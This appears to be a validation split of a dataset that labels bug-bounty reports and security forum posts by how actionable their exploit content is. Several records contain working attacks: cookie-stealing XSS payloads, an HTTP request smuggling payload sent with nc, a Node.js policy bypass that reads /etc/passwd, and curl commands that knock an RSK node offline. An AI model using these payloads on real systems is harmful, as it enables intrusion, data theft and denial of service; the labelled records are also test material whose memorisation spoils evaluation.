-{"id": "b5c93fc273659c92471a", "text": "[NULL Pointer Dereference] No Rate Limiting for Password Reset Email Leads to Email Flooding\n\nThere is \"No Rate Limiting\" implemented in sending the Password Reset Email. Thus, attacker can use this Vulnerability to bomb out the Email Inbox of the victim.\nAffected URL : https://hackers.upchieve.org/resetpassword\n\nSteps to Reproduce: \n1. Log In to : https://hackers.upchieve.org/\n2. Go To : https://hackers.upchieve.org/resetpassword\n3. Enter Email to reset password and click Enter and Capture the request on Burp Suite.\n4. Send the captured request to Intruder and repeat the request in loop\n5. Then just check the Email, your email will be flooded by UPchieve Reset Password Email.\n\nRemediation :\nRate limiting should be implemented to Prevent Email Flooding.\n\n## Impact\n\nEmail Flooding can create Trouble to the users on the website because huge email bombing can be done by the attackers within seconds.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0701d5412c8cd26b7bf4", "text": "[Cross-site Scripting (XSS) - Reflected] XSS Reflected - ██████████\n\nHi Team,\n\nI found a XSS Reflected.\n\n```\nhttps://██████████/███onload=%22prompt(1)\n```\n\nThanks DRauschkolb\n\n## Impact\n\nXSS vulnerabilities can be used to trick a web user into executing a malicious script, potentially revealing a user's web session information or modify web content & even steal cookies.\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nhttps://████████/██████onload=%22prompt(1)\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b2ea388fd31e1e392b8e", "text": "[Improper Access Control - Generic] Admin can create a hidden admin account  which even the owner can not detect and remove and do administrative actions on the application.\n\nads.reddit.com is an ads creating and managing application for reddit. The application has the feature to invite other members to the organization and give different roles at ad management.\nTesting around the role management functionalities, I have noticed that a user with the same email can get invited to the same organization multiple times if the user is assigned with different roles.\nSo, taking advantage of this behavior I found the admin as an attacker can create an `undetectable/hidden admin account` and do administrative actions on the organization like remove other users and invite other users. Since this malicious account information  can not be seen in the `members` section, even the `owner` of the organization can not detect and remove this malicious user from the organization.\n\n**Steps to reproduce:**\n1) Login as admin from https://ads.reddit.com/\n```\nI know creating an owner account and then creating an admin account with in a limited time is  little-bit painful.\nYou can use the following credentials to login as admin\n\n        email :██████████\n        name: ███████\n        password : ██████████\n```\n2) Go to https://ads.reddit.com/account/███/permissions and invite a user (malicious hidden user) by giving the role as `admin`\n3) login to that account (malicious hidden user) from a different browser and accept the invite. \n4) Same as the second step, go to the admin account and invite the same malicious user by giving the role as `Analyst`.\n5) Now go to the malicious user account and then go to https://ads.reddit.com/accounts.\n6) You will see the new invitation arrived with the `Analyst` role. Accept the invitation.\n7) From this account (malicious) go to https://ads.reddit.com/account/████████/billing while intercepting  the requests using burpsuite.\n8) Look at the burp history and find out the `Authorization token` used by the account and copy it. (see `copy-the-auth-token.png`)\n9) Now go to the normal admin account and change the permission of this malicious account to `None`   (It removes malicious account from the organization) and refresh the page to confirm that the malicious user is removed.\n10) Using burpsuite repeater, change the email and send the following request by replacing the token which you copied from the 8'th step.\n```\nPOST /api/v2.0/accounts/█████████/invitations HTTP/2\nHost: ads-api.reddit.com\nContent-Length: 87\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"102\"\nAccept: application/json\nContent-Type: application/json\nAuthorization: ██████\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36\nSec-Ch-Ua-Platform: \"Linux\"\nOrigin: https://ads.reddit.com\nSec-Fetch-Site: same-site\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://ads.reddit.com/\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\n\n{\"data\":{\"recipient_email\":\"█████████\",\"type\":\"ADMIN\"}}\n\n```\n11) Now you are able to invite other users to the organization even though you are not a member of that organization.\n\n## Impact\n\nLet me explain the `impact` with different scenarios as an example.\n\n1)\n-  The owner invites an admin to the organization and the admin who knows about this issue creates an account in this way.\n- Latter, the owner decide to change the role of this admin to `analyst`  or remove this admin from the organization due to some reasons\n- Now the `admin as the malicious user`, can do sensitive actions in the organization like inviting or removing other users.\n- When the `owner` goes to the `members` section, he will not find the malicious account there and even he `can not remove` that malicious account from the organization.\n\n2)\n- It also happens when the owner or admin invites other users accidentally in this way.  \n- It is not complicated, the vulnerability arises when a user accepts multiple invitations assigned with different r", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7793f5aedb14d9ce0070", "text": "[Improper Restriction of Authentication Attempts] The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more su\n\nexample->\n\nString username = request.getParameter(\"username\");\nString password = request.getParameter(\"password\");\n\nint authResult = authenticateUser(username, password);\n\n\n\nthe security tokens can be bypassed easily , they are dont make user account safe .\n\n//script -> check attached  file\n\n## Impact\n\nTechnical Impact: Bypass Protection Mechanism\nAn attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1029092921ac2fdf608a", "text": "[Improper Restriction of Authentication Attempts] Rate limit missing sign-in page\n\nHello there,\n\nA common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.\n\nThe sign-in page where brute force is enabled and there is no rate limit: **https://metdata.tva.gov/**\n\nI made 1.5k+ requests but still, the server is not blocking my requests.\n\n* F1395048 \n\n##Steps To Reproduce:\n* Burp suite to brute forcing on the sign-in page.\n\n## Impact\n\nAttackers are able to access NTID and password.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dcd8e0ac8e790dc76ee5", "text": "[Cross-site Scripting (XSS) - Generic] Incomplete fix for CVE-2022-32209 (XSS in Rails::Html::Sanitizer under certain configurations)\n\nWhile building a PoC for CVE-2022-32209, I noticed that I could not fix my vulnerable application by updating https://github.com/rails/rails-html-sanitizer from 1.4.2 to 1.4.3 even though the Hackerone report about this vulnerability suggested that this should fix it (see here: https://hackerone.com/reports/1530898).\n\nI built this app with Rails 7.0.3.1 by just running \"rails new\", adding `config.action_view.sanitized_allowed_tags = [\"select\", \"style\"]` to the file `config/application.rb` and creating an endpoint that reflected a parameter after sanitizing it (ERB: `<p>Hello <%= sanitize @name %></p>`). When using the payload `<select><style><script>alert(\"XSS\")</script></style></select>` for the parameter I got an alert no matter what the version of rails-html-sanitizer was.\n\nI believe the reason is the following. There are two ways you can pass the list of allowed tags to the sanitizer. One is via a list of tags stored in a class attribute, the other is via an argument passed into the `sanitize` method. The fix only considered the second way but the first one was forgotten. See the commit with the fix here: https://github.com/rails/rails-html-sanitizer/commit/c871aa4034d3d80ad67cf33a3462154b0a0fb477#diff-0daf33b9062eb5ccdeae86ed8bf2662a6e8669f1a7db590802b7f3b36ea47426R159\nThe relevant part of the code is this:\n\n```ruby\nmodule Rails\n  module Html\n    class SafeListSanitizer < Sanitizer\n      ...\n      def remove_safelist_tag_combinations(tags)\n        if !loofah_using_html5? && tags.include?(\"select\") && tags.include?(\"style\")\n          warn(\"WARNING: #{self.class}: removing 'style' from safelist, should not be combined with 'select'\")\n          tags.delete(\"style\")\n        end\n        tags\n      end\n\n      def allowed_tags(options)\n        if options[:tags]\n          remove_safelist_tag_combinations(options[:tags])\n        else\n          self.class.allowed_tags\n        end\n      end\n      ...\n    end\n  end\nend\n```\n\nMethod `remove_safelist_tag_combinations` is introduced to remove `style` from the allow list if `select` is in there. However, within method `allowed_tags` this cleanup is only applied to the tag list in the `options`, not to ` self.class.allowed_tags`, the list stored in the sanitizer class.\nHowever, it seems that the configuration in  `config/application.rb` which I've set above put the list into the class variable (I've sprinkled a few `puts` here and there to confirm that).\n\nMoreover, when moving the allow list from `config/application.rb` into the ERB template\n(`<p>Hello <%= sanitize @name, tags: [\"select\", \"style\"] %></p>`), the update from\n1.4.2 to 1.4.3 does fix the problem.\n\nThe following patch to https://github.com/rails/rails-html-sanitizer should complete the fix for CVE-2022-32209 (also added a test, which is mostly copy&paste from the test method `test_disallow_the_dangerous_safelist_combination_of_select_and_style` found in the commit linked above):\n\n```\nFrom fb9882599684f5796805107ec98f6a18bba722ec Mon Sep 17 00:00:00 2001\nFrom: Dominic Breuker <dominic.breuker@protonmail.com>\nDate: Fri, 29 Jul 2022 23:08:57 +0200\nSubject: [PATCH] disallow select and style in safelist also when specified in\n sanitizer class allowed_tags list\n\n---\n lib/rails/html/sanitizer.rb |  6 +-----\n test/sanitizer_test.rb      | 20 ++++++++++++++++++++\n 2 files changed, 21 insertions(+), 5 deletions(-)\n\ndiff --git a/lib/rails/html/sanitizer.rb b/lib/rails/html/sanitizer.rb\nindex 97503c8..4a0d43f 100644\n--- a/lib/rails/html/sanitizer.rb\n+++ b/lib/rails/html/sanitizer.rb\n@@ -155,11 +155,7 @@ module Rails\n       end\n \n       def allowed_tags(options)\n-        if options[:tags]\n-          remove_safelist_tag_combinations(options[:tags])\n-        else\n-          self.class.allowed_tags\n-        end\n+        remove_safelist_tag_combinations(options[:tags] || self.class.allowed_tags)\n       end\n \n       def allowed_attributes(options)\ndiff --git a/test/sanitizer_test.rb b/test/sanitizer_test.rb", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32209"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a8b4c83eea3dd7259b1c", "text": "May I suggest the following: I think the exercise with the nomachine setup could be greatly simplified by simply providing the pcap file. the setup with nomachine is really cumbersome, I get timeouts every couple of minutes and reconnecting takes another couple of minutes. Like this it is just a pain.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "835727228e4463fd79ac", "text": "[Uncontrolled Resource Consumption] JSON RPC methods for debugging enabled by default allow DoS\n\n**Summary:** Upon sending the JSON-RPC the `evm_reset` command, the RPC server hung, has gone slow, and is now on block 0.\n\n**Description:** While testing the bounty RPC node, I was sending a variety of available commands I noticed in the source code. After sending the `evm_reset` command, the server hung, began responding slowly, started returning `504 Gateway Time-out`'s, and is now synced to block 0.\n\n## Steps To Reproduce:\n\n1. Run `curl -s -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"eth_blockNumber\", \"params\": {}, \"id\":1337}' https://bounty-node.rsk.co` and observe the block number\n2. Run `curl -s -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"evm_reset\", \"params\": {}, \"id\":1337}' https://bounty-node.rsk.co`\n3. Response should hang\n\n## Supporting Material/References:\nBelow are snippets from my terminal session while I discovered this issue:\n\n```\n# teknogeek at teknogeek-mbp in ~/Documents/BugBounties/HackerOne/RSK/rskj on git:6e45eaf6 ✖︎ [18:14:19]\n→ curl -s -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"eth_blockNumber\", \"params\": [], \"id\":1337}' https://bounty-node.rsk.co\n{\"jsonrpc\":\"2.0\",\"id\":1337,\"result\":\"0x437ca\"}\n\n# teknogeek at teknogeek-mbp in ~/Documents/BugBounties/HackerOne/RSK/rskj on git:6e45eaf6 ✖︎ [18:29:37]\n→ curl -s -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"evm_snapshot\", \"params\": {}, \"id\":666}' https://bounty-node.rsk.co\n{\"jsonrpc\":\"2.0\",\"id\":666,\"result\":\"0x1\"}\n\n# teknogeek at teknogeek-mbp in ~/Documents/BugBounties/HackerOne/RSK/rskj on git:6e45eaf6 ✖︎ [18:35:46]\n→ curl -s -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"evm_snapshot\", \"params\": {}, \"id\":666}' https://bounty-node.rsk.co\n{\"jsonrpc\":\"2.0\",\"id\":666,\"result\":\"0x2\"}\n\n# teknogeek at teknogeek-mbp in ~/Documents/BugBounties/HackerOne/RSK/rskj on git:6e45eaf6 ✖︎ [18:35:52]\n→ curl -s -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"evm_reset\", \"params\": {}, \"id\":666}' https://bounty-node.rsk.co\n\n\n^C\n# teknogeek at teknogeek-mbp in ~ [18:41:34]\n→ curl -s -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"web3_clientVersion\", \"params\": {}, \"id\":1337}' https://bounty-node.rsk.co\n{\"jsonrpc\":\"2.0\",\"id\":1337,\"result\":\"RskJ/0.4.0/Linux/Java1.8/BAMBOO-1192882\"}\n\n# teknogeek at teknogeek-mbp in ~ [18:41:37]\n→ curl -s -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"web3_clientVersion\", \"params\": {}, \"id\":1337}' https://bounty-node.rsk.co\n<html>\n<head><title>504 Gateway Time-out</title></head>\n<body bgcolor=\"white\">\n<center><h1>504 Gateway Time-out</h1></center>\n<hr><center>nginx</center>\n</body>\n</html>\n\n# teknogeek at teknogeek-mbp in ~ [18:45:27]\n→ curl -s -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"eth_blockNumber\", \"params\": [], \"id\":1337}' https://bounty-node.rsk.co\n{\"jsonrpc\":\"2.0\",\"id\":1337,\"result\":\"0x0\"}\n```\n\nI also tested from multiple locations (VPS and locally) to confirm that this was not just a IP blacklist or connectivity issue on my end.\n\n## Impact\n\nLoss of service and responsiveness to all users", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d2e3a2ec46a232bfc194", "text": "Finally found the code injection that got the flag.txt to appear on the /tmp page, and I respawned the server to double check and make sure it was right. What did it was finding which URL-Encoded characters worked, where to input them, and most importantly, refreshing the /tmp webpage to see if the flag.txt appeared even though an error appeared under the “message alert” in Burp. I incorrectly assumed the error meant that the command was unsuccessful, oops…", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8f5b4a4320bd5d4f7392", "text": "[Unknown] user can bypass password enforcement when federated sharing is enabled\n\nIf the admin forces password for link shares and federated shares are enabled, users can bypass this enforcement. Tested with Nextcloud 18.0.3\n\nSteps to reproduce:\n - enable password enforcement for link shares as admin\n - as user1 create a link share with password\n - open the link share in a separate browser session and enter the password\n - use \"add to your nextcloud\" and add the file to another nextcloud or the same nextcloud with another user.\n - login as user1, now there is a new link share without password protection. The gui shows that password is enforced, but the link has no password protection\n - copy the new created link\n\nAdditional information:\nI think the problem is, that if the share is added by \"add to your nextcloud\", the wrong share_type is set. federated shares normally use the value 6, but the value 3 is set.\n\nAdditional problem:\nUsers can bruteforce link-ids. okay this is something that takes a long time because of 62^15 combinations. But if a forced password is used, every try is protected by the brute-force protection. Just testing links isn't protected by the bruteforce protection I think. Maybe someone just gets read access to the database (or a backup of this). In this case all federated shares are leaked.\n\nSo, if password is forced for link shares, enabling federated shares will lower the security level.\n\nWhy is there no additional password or public/private-keypair used for establishing and accessing federated shares?\n\n## Impact\n\nThis is something that can be used by registered users to bypass the sharing policy.\nAn attacker that gets read access to the database can access all federated shares.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bade0b96eb563c499446", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in /admin/product and /admin/collections\n\n### Hello Security Team,\n\nI was going through previous reports of XSS and I have found this,\nhttps://hackerone.com/reports/978125\n\nAs stated by team on this page even on https://hackerone.com/shopify?type=team under Known issues\n that we can now report XSS under Rich Text Editor on Product description and Collection description. \nI have found XSS on this endpoints /admin/product and /admin/collections\n\n{F1252456}\n\n### Steps to Reproduce:\n#### /admin/product\n\nStep1: Go to https://your-store.myshopify.com/admin/products?selectedView=all\nStep2: Click on Add product \nStep3: Add anything in Title\nStep4: Right side corner in description click on Show HTML\nStep5: Add below Payloads and Click on Save\n\n#### Payload: \n\">\\]<img src=x onerror=alert(document.domain)>  \">\\]<img src=x onerror=alert(document.cookie)>\n      \nXSS will get triggered.\n\n{F1252457}\n\n#### /admin/collections\n\nStep1: Go to https://your-store.myshopify.com/admin/collections\nStep2: Click on Create collection\nStep3: Add anything in Title\nStep4: Right side corner in description click on Show HTML\nStep5: Add below Payloads and Click on Save\n\n#### Payload: \n\">\\]<img src=x onerror=alert(document.domain)>  \">\\]<img src=x onerror=alert(document.cookie)>\n      \nXSS will get triggered.\n\n{F1252455}\n\nI have attached POC Video, Please take a look.\n\n{F1252458}\n\n#### Thank You\nAshish Dhone\n\n## Impact\n\nA malicious user can steal cookies and use them to gain further access even an attacker can use XSS to send requests that appear to be from the victim to the web server.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "17db066d491e556b9ff6", "text": "[Information Disclosure] Limited path traversal in Node.js SDK leads to PII disclosure\n\n## Summary:\nIt is possible to use `.` and `..` as identifier in all API methods, which leads to calling the parent api method.\nNext, I will describe the problem using checkout sessions as an example,  because it is the most basic one. However, other methods are also vulnerable to this problem.\nFor example, using `.` as checkout session id in [Retrieve a Session](https://stripe.com/docs/api/checkout/sessions/retrieve) method leads to call [List all Checkout Sessions](https://stripe.com/docs/api/checkout/sessions/list) method.\nThe problem arises because the Node.js http implementation automatically normalizes the path, so request `https://api.stripe.com/v1/checkout/sessions/.` will normalize to `https://api.stripe.com/v1/checkout/sessions/`.\nI checked other SDKs and it looks like the problem is only in the Node.js SDK.\n\n## Steps To Reproduce:\nFor ease of reproduction, let's create a project using [accept-a-payment](https://github.com/stripe-samples/accept-a-payment) sample template.\n\n  1. Register Stripe account and obtain `STRIPE_SECRET_KEY`\n  1. Create sample project using Stripe docker cli: `docker run --rm -it -v $(pwd):/samples -w /samples stripe/stripe-cli:latest samples create accept-a-payment`\n  1. Choose `prebuilt-checkout-page` integration, `html` client and `node` server.\n  1. Create `.env` file in `accept-a-payment/server` directory with contents:\n    ```\n    STRIPE_SECRET_KEY=xxx\n    STATIC_DIR=/app/client\n    DOMAIN=http://localhost:4242\n    ```\n  1. Run another docker container with nodejs: `run -it --rm -v $(pwd)/accept-a-payment:/app -w /app/server -p 4242:4242 node bash`\n  1. Install dependencies: `npm install`\n  1. Start the server: `node server.js`\n  1. Open web page in browser and complete the payment: `http://localhost:4242`\n  1. Send curl request in terminal: `curl \"http://localhost:4242/checkout-session?sessionId=.\" | jq` (this request does not require any authentication and returns PII of all successful payments).\n\nExample output:\n```json\n{                                                                                                                                                                                                                  \n  \"object\": \"list\",                                                                                                                                                                                                \n  \"data\": [                                                                                                                                                                                                        \n    {                                                                                                                                                                                                              \n      \"id\": \"cs_test_a14L46PUF4tbXhcFrVU4Zv42kBQD2Hw5TIR6XdNHPJFckllG1Un4MztwlF\",                                                                                                                                  \n      \"object\": \"checkout.session\",                                                                                                                                                                                \n      \"after_expiration\": null,                                                                                                                                                                                    \n      \"allow_promotion_codes\": null,                                                                                                                                                                               \n      \"amount_subtotal\": 500,                                                                                                                                                                                      \n      \"amount_total\": 500,                                                                              ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cc2cd92b67b9db81972f", "text": "Same thing happening to me, and it says to relaunch checkra1n but anytime I try… same text “waiting for dfu device”", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d44e2d6dc8a02ce90741", "text": "[HTTP Request Smuggling] HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding (improper fix for CVE-2022-32215)\n\n**Summary:**\nDue to an incomplete fix for CVE-2022-32215, the `llhttp` parser in the `http` module in Node v16.16.0 and 18.7.0  still does not correctly handle multi-line Transfer-Encoding headers. This can lead to HTTP Request Smuggling (HRS).\n\n**Description:** [add more details about this vulnerability]\n\nWe have identified that the root issue of CVE-2022-32215 (that was [reported here](https://hackerone.com/reports/1501679)) was seemingly not fixed at all. Running the same exploit produces the same unwanted result. For the sake of brevity, I won't repeat the description, it can be seen in the [original issue](https://hackerone.com/reports/1501679). \n\n## Steps To Reproduce:\n\nThe reproduction steps are the same from the original issue\n\n#### Testing Server\n\nRun the following server (`node server.js`):\n```js\nconst http = require('http');\n\nhttp.createServer((request, response) => {\n   let body = [];\n   request.on('error', (err) => {\n   response.end(\"error while reading body: \" + err)\n   }).on('data', (chunk) => {\n      body.push(chunk);\n   }).on('end', () => {\n   body = Buffer.concat(body).toString();\n   \n   response.on('error', (err) => {\n      response.end(\"error while sending response: \" + err)\n   });\n\n   response.end(JSON.stringify({\n         \"Headers\": request.headers,\n         \"Length\": body.length,\n         \"Body\": body,\n      }) + \"\\n\");\n   });\n}).listen(80);\n```\n\n#### Payload\n\n```\nprintf \"POST / HTTP/1.1\\r\\n\"\\\n\"Host: 127.0.0.1\\r\\n\"\\\n\"Transfer-Encoding: chunked\\r\\n\"\\\n\" , chunked-false\\r\\n\"\\\n\"\\r\\n\"\\\n\"1\\r\\n\"\\\n\"A\\r\\n\"\\\n\"0\\r\\n\"\\\n\"\\r\\n\"\\\n\"GET /flag HTTP/1.1\\r\\n\"\\\n\"Host: 127.0.0.1\\r\\n\"\\\n\"foo: x\\r\\n\"\\\n\"\\r\\n\"\\\n\"\\r\\n\" | nc localhost 80\n```\n\n#### Output\n\n```\nHTTP/1.1 200 OK\nDate: Sun, 06 Mar 2022 03:34:05 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 101\n\n{\"Headers\":{\"transfer-encoding\":\"chunked , chunked-false\"},\"Length\":1,\"Body\":\"A\"}\nHTTP/1.1 200 OK\nDate: Sun, 06 Mar 2022 03:34:05 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 64\n\n{\"Headers\":{\"host\":\"127.0.0.1\", \"foo\":\"x\"},\"Length\":0,\"Body\":\"\"}\n```\n\nAs you can see, the payload was parsed as two requests (POST to / , and GET to /flag) which is erroneous behavior (the first request was parsed as a chunked request, which is wrong)\n\nThe expected output should be -\n```\nHTTP/1.1 400 Bad Request\nConnection: close\n```\n\n## Supporting Material/References:\n\nExploitation of the issue on Node 16.16.0 -\n{F1861233}\n\n## Credit\n\nThe vulnerability was discovered by Liav Gutman of the JFrog CSO Team\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32215"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4fbbe62ff32af62df370", "text": "Guys, does anybody know why “character shifting” technique for “&” doesn’t work here? It accepts %26, but $(tr%09’!-}‘%09’\"-~'<<<%) results in an error.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d13e3daac2d7f209f182", "text": "[Improper Access Control - Generic] Passcode bypass on Talk Android app\n\n## Summary:\nIt is possible to bypass the passcode protection in nextcloud android talk by clicking the notification of a message.\n\nTalk App Android version: ```15.0.2 RC1```\n\n## Steps To Reproduce:\n\n1. Create two users\n1. Using User A login it to the web interface while User B on Talk App Android\n1. Using User B setup the passcode protection in settings\n1. Using User A send a message to User B\n1. Wait for the notification and click it\n\n## Supporting Material/References:\n\n█████\n\n## Impact\n\nTo exploit this the attacker needs to have a physical access to the  target's device which makes it severity to medium. \nDue to the bypass of passcode an attacker is able to access the user's nextcloud files and view conversations.\n\n████████", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8e1ad160a860d6414332", "text": "[Insufficient Verification of Data Authenticity] Integrity checks according to policies can be circumvented in Node.js 20 and Node.js 18\n\n**Summary:** When Node.js is checking the integrity of a resource against a trusted manifest, the application can intercept the operation and return a forged checksum to node's policy implementation, thus effectively disabling the integrity check.\n\n**Description:** Node.js uses the `Hash` class of the built-in `crypto` module to compute a cryptographic hash of each resource. The implementation protects itself against modifications of the `Hash` class prototype by the application, however, the `Hash` class internally relies on several C++ bindings that the application can replace at runtime.\n\nConsider the following `policy.json` file:\n\n```json\n{\n  \"resources\": {\n    \"./main.js\": {\n      \"integrity\": true,\n      \"dependencies\": {\n        \"./protected.js\": true,\n        \"crypto\": true\n      }\n    },\n    \"./protected.js\": {\n      \"integrity\": \"sha384-OLBgp1GsljhM2TJ+sbHjaiH9txEUvgdDTAzHv2P24donTt6/529l+9Ua0vFImLlb\",\n      \"dependencies\": true\n    }\n  }\n}\n```\n\nThe file `main.js` may contain arbitrary code, but it cannot access, for example, the built-in `fs` module. The file `protected.js`, on the other hand, has a strict integrity requirement but can access arbitrary modules. The `main.js` file may require `protected.js`, provided that the integrity of `protected.js` is verified by Node.js.\n\nThe file `main.js` can thus contain arbitrary code. Let the contents be:\n\n```js\nconst h = require('crypto').createHash('sha384');\nconst fakeDigest = h.digest();\n\nconst kHandle = Object.getOwnPropertySymbols(h)\n                      .find((s) => s.description === 'kHandle');\nh[kHandle].constructor.prototype.digest = () => fakeDigest;\n\nrequire('./protected.js');\n```\n\nThe file `protected.js` does _not_ match the integrity value specified in `policy.json`:\n\n```js\nconsole.log(require('fs').readFileSync('/etc/passwd').length);\n```\n\nRunning `main.js` with the policy enabled succeeds despite  the integrity mismatch, and the application reads `/etc/passwd`:\n\n```js\n$ node --experimental-policy=policy.json main.js \n3224\n```\n\n---\n\nThis vulnerability is exploitable in the default build configuration of Node.js, and only requires the user to enable the policy feature when starting Node.js.\n\nI provided a patch, which has been merged into the main branch as [commit e673c0362979f9cb2c74fc6876c45ae9be1fe853](https://github.com/nodejs/node/commit/e673c0362979f9cb2c74fc6876c45ae9be1fe853), into the v20.x release line as [commit a4cb7fc7c04869f051e270ed192a679d2d108328](https://github.com/nodejs/node/commit/a4cb7fc7c04869f051e270ed192a679d2d108328), and into the v18.x release line as [commit 1c538938ccadfd35fbc699d8e85102736cd5945c](https://github.com/nodejs/node/commit/1c538938ccadfd35fbc699d8e85102736cd5945c), all of which have been released on October 13th, 2023.\n\n## Impact\n\nAs per the Node.js documentation at the time the issue was reported, \"Policies are a security feature intended to allow guarantees about what code Node.js is able to load\" and \"The policy manifest will be used to enforce constraints on code loaded by Node.js.\" The current revision of the documentation adds that \"policies guarantee the file integrity when a module is loaded using `require()`, `import()` or `new Module()`.\"\n\nThe presented vulnerability invalidates these statements. Code may be executed through `require()` even if the code has been modified. The modified code inherits all permissions of the supposedly trusted code, which potentially allows the attacker to escalate their permissions as demonstrated above.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1f5a9392a12915100aa5", "text": "This looks very handy, i’m going to have a play with this tomorrow.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "55af3f24e50e437b4f44", "text": "[Business Logic Errors] CVE-2023-23914: HSTS ignored on multiple requests\n\ncurl's HSTS functionality fail when multiple URLs are requested serially.\n\nUsing its HSTS support, curl can be instructed to use HTTPS instead of using an insecure clear-text HTTP step even when HTTP is provided in the URL. This HSTS mechanism would however suprisingly be ignored by subsequent transfers when done on the same command line because the state would not be properly carried on.\n\n## Impact\n\nBypass intended security control.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-23914"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
